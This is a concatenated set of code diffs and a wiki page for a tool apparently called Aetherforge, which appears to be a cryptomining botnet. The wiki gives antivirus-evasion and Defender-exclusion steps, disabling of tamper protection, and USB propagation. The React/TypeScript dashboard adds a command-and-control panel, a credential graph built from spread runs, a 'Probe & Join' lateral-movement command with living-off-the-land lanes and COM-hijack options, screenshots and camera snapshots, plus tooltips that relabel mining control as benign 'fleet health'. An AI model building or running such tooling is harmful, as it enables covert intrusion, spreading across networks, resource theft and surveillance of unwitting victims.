<h3>Honest limits</h3>
<p>
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
</p>
</section>
<section id="container-mining">
<h2>Container Mining — Optional Isolation</h2>
<p>
Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
pure-Go RandomX (no external CPU miner binary).
</p>
<h3>Honest AV expectations</h3>
<ul>
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
</ul>
<h3>Forge options</h3>
<table class="wiki-table">
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
<tbody>
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
</tbody>
</table>
<h3>Operator setup</h3>
<ol>
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
</ol>
<h3>Architecture</h3>
<pre>
┌──────────────── Host (agent.exe) ────────────────┐
│ WebSocket C2 · commands · stats · GPU supervisor │
│ │ docker run │
│ ▼ │
│ ┌──────────── OCI container ────────────┐ │
│ │ agent-worker · RandomX · Stratum/C2 │ │
│ └───────────────────────────────────────┘ │
└──────────────────────────────────────────────────┘
</pre>
<h3>Mining fallback chain</h3>
<p>
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
</p>
<p>
When the container exits, the chain advances to in-process automatically.
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
container is healthy.
</p>
</section>
<!-- 7b. Platform Matrix -->
<section id="platform-matrix">
<h2>Platform Matrix</h2>
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
</tbody>

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
@@ -271,7 +271,7 @@ export const api = {
}),
sendBulkCommand: (agentIds: string[], action: string) =>
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
fetchJSON<{ success: boolean; sent: number; failed: number; action: string; category?: string; label?: string }>('/agents/bulk-command', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
@@ -302,6 +302,33 @@ export const api = {
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
getCredentialGraph: async (): Promise<import('../types/recon').CredentialGraphResponse | null> => {
try {
return await fetchJSON<import('../types/recon').CredentialGraphResponse>('/spread/credential-graph');
} catch (e) {
if (e instanceof Error && e.message.includes('404')) return null;
throw e;
}
},
getServiceGraph: async (params: {
agentId?: string;
subnet?: string;
}): Promise<import('../types/recon').ServiceGraphResponse | null> => {
const q = new URLSearchParams();
if (params.agentId) q.set('agent_id', params.agentId);
if (params.subnet) q.set('subnet', params.subnet);
const qs = q.toString();
try {
return await fetchJSON<import('../types/recon').ServiceGraphResponse>(
`/spread/service-graph${qs ? `?${qs}` : ''}`,
);
} catch (e) {
if (e instanceof Error && e.message.includes('404')) return null;
throw e;
}
},
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
@@ -394,6 +421,31 @@ export const api = {
URL.revokeObjectURL(url);
},
exportSpreadTemplate: async (req: {
template: string;
server_url: string;
build_id?: string;
campaign?: string;
com_hijack?: boolean;
lotl_mode?: string;
agent_path?: string;
}) => {
const res = await fetch(`${API_BASE}/builder/spread-template-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
@@ -401,7 +453,27 @@ export const api = {
body: JSON.stringify({ agent_ids: agentIds }),
}),
getTraceStatus: (id: string) =>
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
fetchJSON<{
session_id: string;
ready: boolean;
error?: string;
hops: PathTraceHop[];
service_graph?: ServiceGraphHost[];
discover_in_progress?: boolean;
discover_error?: string;
discovered_at?: string;
}>(`/pathtrace/${id}/status`),
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
fetchJSON<{
ok: boolean;
session_id: string;
error?: string;
service_graph?: ServiceGraphHost[];
discovered_at?: string;
}>('/pathtrace/discover', {
method: 'POST',
body: JSON.stringify({ session_id: sessionId, max_hosts: maxHosts }),
}),
getTraceQR: (id: string) =>
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
deleteTrace: (id: string) =>

View File

@@ -1,5 +1,6 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import { lotlTierLabel } from '../../help/warRoomTelemetry';
import type { Agent } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import type { FleetGroup } from '../../help/fleetGroups';
@@ -95,6 +96,11 @@ export default function AgentListItem({
c:{agent.campaign}
</span>
)}
{lotlTierLabel(agent.lotl_tier) && (
<span className="agent-tag-chip war-room-lotl-badge" title="LOTL tier">
{lotlTierLabel(agent.lotl_tier)}
</span>
)}
</div>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>

View File

@@ -9,7 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import LotlAttemptsList from './LotlAttemptsList';
import LotlTierBadge from './LotlTierBadge';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import { parseTierReport, type TierAttempt } from '../../types/lotl';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';
@@ -66,6 +69,12 @@ export default function AgentRemoteActions({
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
const [miningDiag, setMiningDiag] = useState<{
lotl_tier?: string;
lotl_attempts: TierAttempt[];
mining_hashrate?: number;
likely_blockers: string[];
} | null>(null);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
@@ -135,6 +144,17 @@ export default function AgentRemoteActions({
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
}
if (agent.lotl_tier) {
parts.push(`LOTL ${agent.lotl_tier}`);
}
if (agent.active_method) {
const method = agent.stratum_overlay ? `${agent.active_method}+stratum` : agent.active_method;
parts.push(`Mining ${method}`);
}
if (agent.failed_methods && agent.failed_methods.length > 0) {
const last = agent.failed_methods[agent.failed_methods.length - 1];
parts.push(`Fallback ${last.method} failed`);
}
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
addLog(`◈ LIVE ${parts.join(' │ ')}`);
}, [agent, showLiveStats, addLog]);
@@ -164,6 +184,37 @@ export default function AgentRemoteActions({
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'mining_diagnostics') {
if (success && message) {
const jsonStart = message.indexOf('{');
if (jsonStart >= 0) {
try {
const parsed = JSON.parse(message.slice(jsonStart)) as Record<string, unknown>;
const tierFields = parseTierReport(parsed);
const blockers = parsed.likely_blockers ?? parsed.blockers;
setMiningDiag({
...tierFields,
likely_blockers: Array.isArray(blockers)
? blockers.filter((b): b is string => typeof b === 'string')
: [],
});
const wins = tierFields.lotl_attempts.filter((a) => a.ok).length;
const fails = tierFields.lotl_attempts.length - wins;
addLog(
`✓ Mining diagnostics — tier ${tierFields.lotl_tier ?? 'n/a'} (${wins} ok, ${fails} fail)`,
);
} catch {
addLog('✗ [MINING_DIAGNOSTICS] could not parse report JSON');
setMiningDiag(null);
}
} else {
addLog(`✗ [MINING_DIAGNOSTICS] no JSON in response`);
setMiningDiag(null);
}
} else {
addLog(`✗ [MINING_DIAGNOSTICS] FAIL\n${message ?? ''}`);
setMiningDiag(null);
}
} else if (action === 'tunnel_status' && success && message) {
setTunnelStatusMsg(message);
} else if (action === 'screenshot' || action === 'camera_snapshot') {
@@ -183,7 +234,7 @@ export default function AgentRemoteActions({
} else if (!liveViewRef.current || action !== 'screenshot') {
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action && action !== 'full_sys_check') {
} else if (action && action !== 'full_sys_check' && action !== 'mining_diagnostics') {
const icon = success ? '✓' : '✗';
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
@@ -234,6 +285,10 @@ export default function AgentRemoteActions({
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
if (action === 'mining_diagnostics') {
setMiningDiag(null);
addLog(`◈ Running mining diagnostics on ${agentName}`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -372,6 +427,9 @@ export default function AgentRemoteActions({
<span className="offline-badge">OFFLINE commands disabled</span>
)}
{busy && <span className="busy-badge"> {busy}</span>}
{!isFleet && agent?.lotl_tier && (
<LotlTierBadge tier={agent.lotl_tier} attempts={agent.lotl_attempts} variant="inline" />
)}
</div>
</div>
@@ -416,6 +474,15 @@ export default function AgentRemoteActions({
<div className="button-grid">
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="JSON report: execution mode, pause state, job delivery, GPU subprocess, Defender RTP"
onClick={() => dispatch('mining_diagnostics')}
>
Mining Diagnostics
</button>
</div>
</div>
@@ -737,6 +804,41 @@ export default function AgentRemoteActions({
/>
)}
{miningDiag && !compact && (
<div style={{ marginBottom: '1rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.35rem' }}>
<span className="font-tech" style={{ fontSize: '0.72rem', color: 'var(--neon-cyan)' }}>
MINING DIAGNOSTICS
</span>
{miningDiag.lotl_tier && (
<LotlTierBadge tier={miningDiag.lotl_tier} attempts={miningDiag.lotl_attempts} variant="inline" />
)}
<button
type="button"
className="terminal-clear-btn"
style={{ marginLeft: 'auto' }}
onClick={() => setMiningDiag(null)}
>
DISMISS
</button>
</div>
<LotlAttemptsList
attempts={miningDiag.lotl_attempts}
activeTier={miningDiag.lotl_tier}
miningHashrate={miningDiag.mining_hashrate}
/>
{miningDiag.likely_blockers.length > 0 && (
<ul className="rich-blocker-list" style={{ marginTop: '0.35rem', paddingLeft: '1rem' }}>
{miningDiag.likely_blockers.map((b, i) => (
<li key={i} className="rich-blocker-item" style={{ fontSize: '0.72rem', color: '#ccc' }}>
{b}
</li>
))}
</ul>
)}
</div>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">

View File

@@ -42,7 +42,7 @@ export default function CreateGroupModal({ open, agentCount, onClose, onCreate }
>
<h2 id="fleet-group-modal-title" className="font-display">Create group</h2>
<p className="form-hint">
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} usable in Fleet Roster and Crucible.
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} usable in Crucible for bulk commands.
</p>
<form onSubmit={submit}>
<label className="label" htmlFor="fleet-group-name">Group name</label>

View File

@@ -0,0 +1,78 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { CredentialSubnetEdge } from '../../types/recon';
import './ReconVisuals.css';
export default function CredentialGraphTable() {
const [rows, setRows] = useState<CredentialSubnetEdge[] | null>(null);
const [loading, setLoading] = useState(true);
const [unavailable, setUnavailable] = useState(false);
useEffect(() => {
let cancelled = false;
setLoading(true);
void api
.getCredentialGraph()
.then((data) => {
if (cancelled) return;
if (!data) {
setUnavailable(true);
setRows([]);
return;
}
setRows(data.subnets ?? []);
setUnavailable(false);
})
.catch(() => {
if (!cancelled) {
setUnavailable(true);
setRows([]);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, []);
if (loading) {
return <p className="recon-graph-empty">Loading credential graph</p>;
}
if (unavailable) {
return (
<p className="recon-graph-empty">
Credential graph API not available yet edges appear after spread runs record cred affinity.
</p>
);
}
if (!rows?.length) {
return <p className="recon-graph-empty">No credential edges recorded.</p>;
}
return (
<table className="recon-graph-table" aria-label="Credential graph by subnet">
<thead>
<tr>
<th>SUBNET</th>
<th>EDGES</th>
<th>OK</th>
<th>FAIL</th>
</tr>
</thead>
<tbody>
{rows.map((row) => (
<tr key={row.subnet}>
<td>{row.subnet}</td>
<td>{row.edges}</td>
<td>{row.success_count ?? '—'}</td>
<td>{row.fail_count ?? '—'}</td>
</tr>
))}
</tbody>
</table>
);
}

View File

@@ -0,0 +1,63 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import CrucibleAgentMeta from './CrucibleAgentMeta';
import { api } from '../../api/client';
import { mockAgent } from '../../test/fixtures';
vi.mock('../../api/client', () => ({
api: {
updateAgentMeta: vi.fn(),
deleteAgent: vi.fn(),
sendAgentCommand: vi.fn(),
},
}));
const updateMetaMock = vi.mocked(api.updateAgentMeta);
const deleteAgentMock = vi.mocked(api.deleteAgent);
describe('CrucibleAgentMeta', () => {
beforeEach(() => {
vi.clearAllMocks();
updateMetaMock.mockResolvedValue({
success: true,
agent: mockAgent({ notes: 'saved', tags: ['rack-a'] }),
});
deleteAgentMock.mockResolvedValue({ success: true });
});
afterEach(() => {
cleanup();
});
it('saves notes and tags via API', async () => {
const agent = mockAgent({ id: 'meta-1', name: 'Meta Node', notes: 'old', tags: ['old-tag'] });
render(<CrucibleAgentMeta agent={agent} />);
const user = userEvent.setup();
const notes = screen.getByPlaceholderText('Notes about this machine…');
await user.clear(notes);
await user.type(notes, 'Living room PC');
const tags = screen.getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
await user.clear(tags);
await user.type(tags, 'living-room, rack-b');
await user.click(screen.getByRole('button', { name: 'Save notes & tags' }));
await waitFor(() => {
expect(updateMetaMock).toHaveBeenCalledWith('meta-1', 'Living room PC', ['living-room', 'rack-b']);
});
expect(await screen.findByText('Saved')).toBeInTheDocument();
});
it('deletes agent from roster after confirm', async () => {
const agent = mockAgent({ id: 'del-1', name: 'Delete Me' });
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
render(<CrucibleAgentMeta agent={agent} />);
await userEvent.setup().click(screen.getByRole('button', { name: 'Delete from Roster' }));
await waitFor(() => {
expect(deleteAgentMock).toHaveBeenCalledWith('del-1');
});
confirmSpy.mockRestore();
});
});

View File

@@ -0,0 +1,132 @@
import { useState, useEffect } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
interface Props {
agent: Agent;
onUpdated?: (agent: Agent) => void;
}
export default function CrucibleAgentMeta({ agent, onUpdated }: Props) {
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
const [saving, setSaving] = useState(false);
const [msg, setMsg] = useState('');
useEffect(() => {
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMsg('');
}, [agent.id, agent.notes, agent.tags]);
const save = async () => {
setSaving(true);
setMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(agent.id, notesDraft, tags);
onUpdated?.(res.agent);
setMsg('Saved');
setTimeout(() => setMsg(''), 2000);
} catch (err) {
setMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setSaving(false);
}
};
const deleteFromRoster = async () => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const uninstallAndDelete = async () => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
return (
<div className="crucible-agent-meta" style={{
display: 'flex',
flexDirection: 'column',
gap: '0.5rem',
marginBottom: '1rem',
padding: '0.75rem 1rem',
background: 'rgba(0,245,255,0.04)',
border: '1px solid rgba(0,245,255,0.18)',
borderRadius: '8px',
}}>
<div className="font-tech" style={{ fontSize: '0.72rem', letterSpacing: '0.1em', color: 'var(--neon-cyan)' }}>
NOTES &amp; TAGS
</div>
<p className="form-hint" style={{ margin: 0 }}>
Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on node cards.
</p>
{(agent.tags?.length ?? 0) > 0 && (
<div>
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={saving} onClick={() => void save()}>
{saving ? 'Saving…' : 'Save notes & tags'}
</button>
{agent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void uninstallAndDelete()}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void deleteFromRoster()}
title="Remove this machine from the fleet roster permanently"
>
Delete from Roster
</button>
{msg && <span className="form-hint">{msg}</span>}
</div>
</div>
);
}

View File

@@ -30,6 +30,18 @@ vi.mock('./FileManager', () => ({
default: () => <div data-testid="file-manager" />,
}));
vi.mock('./CredentialGraphTable', () => ({
default: () => <div data-testid="credential-graph-table" />,
}));
vi.mock('./ServiceGraphSummary', () => ({
default: () => <div data-testid="service-graph-summary" />,
}));
vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL);
@@ -190,6 +202,20 @@ describe('CrucibleExpandedOps', () => {
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
expect(screen.getByTestId('credential-graph-table')).toBeInTheDocument();
});
it('dispatches discover_and_join from Probe & Join button', async () => {
const user = userEvent.setup();
const onEcho = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread', onEcho })} />);
await user.click(screen.getByRole('button', { name: 'Probe & Join' }));
await waitFor(() => {
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'discover_and_join', {});
});
expect(onEcho).toHaveBeenCalledWith('discover_and_join → 1 node(s)', true);
});
it('shows SSH probe controls on tunnels tab', async () => {

View File

@@ -11,10 +11,14 @@ import {
} from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import { HelpTip } from '../HelpTip';
import LotlTierBadge from './LotlTierBadge';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css';
interface FmCommandResult {
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
{singleSelectedAgent?.lotl_tier && (
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
<LotlTierBadge
tier={singleSelectedAgent.lotl_tier}
attempts={singleSelectedAgent.lotl_attempts}
variant="inline"
/>
</div>
)}
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Resume hashing on selected online nodes"
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
}}
>
Resume
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Pause hashing without disconnecting the agent"
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
}}
>
Pause
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
Credential Names
</button>
<button
type="button"
className="button crucible-op-btn btn-cyan"
disabled={!hasSelection || targets.length === 0}
title="Service discovery → server deploy plan → matching LOTL join lane"
onClick={() => bulkDispatch('discover_and_join')}
>
Probe &amp; Join
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
<CredentialGraphTable />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
<ServiceGraphSummary
agentId={singleSelectedAgent?.id}
agentIp={singleSelectedAgent?.ip}
/>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">

View File

@@ -119,8 +119,8 @@ export default function FleetToolbar({
Screenshot
</button>
)}
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button

View File

@@ -0,0 +1,21 @@
import { joinLaneLabel } from '../../help/reconRisk';
import './ReconVisuals.css';
interface Props {
lane?: string;
className?: string;
}
export default function JoinLaneBadge({ lane, className = '' }: Props) {
const label = joinLaneLabel(lane);
if (!label) return null;
return (
<span
className={`join-lane-badge ${className}`.trim()}
title={`Deploy join lane: ${label}`}
>
{label}
</span>
);
}

View File

@@ -0,0 +1,58 @@
import type { TierAttempt } from '../../types/lotl';
import { formatDurationMs, formatLotlTierLabel } from '../../types/lotl';
import './LotlVisuals.css';
interface Props {
attempts: TierAttempt[];
activeTier?: string;
miningHashrate?: number;
className?: string;
}
export default function LotlAttemptsList({
attempts,
activeTier,
miningHashrate,
className = '',
}: Props) {
if (attempts.length === 0 && miningHashrate === undefined) {
return (
<div className={`lotl-attempts-block ${className}`.trim()}>
<div className="lotl-attempts-title">LOTL TIER CHAIN</div>
<div className="lotl-attempts-empty">No tier attempts in this report</div>
</div>
);
}
return (
<div className={`lotl-attempts-block ${className}`.trim()}>
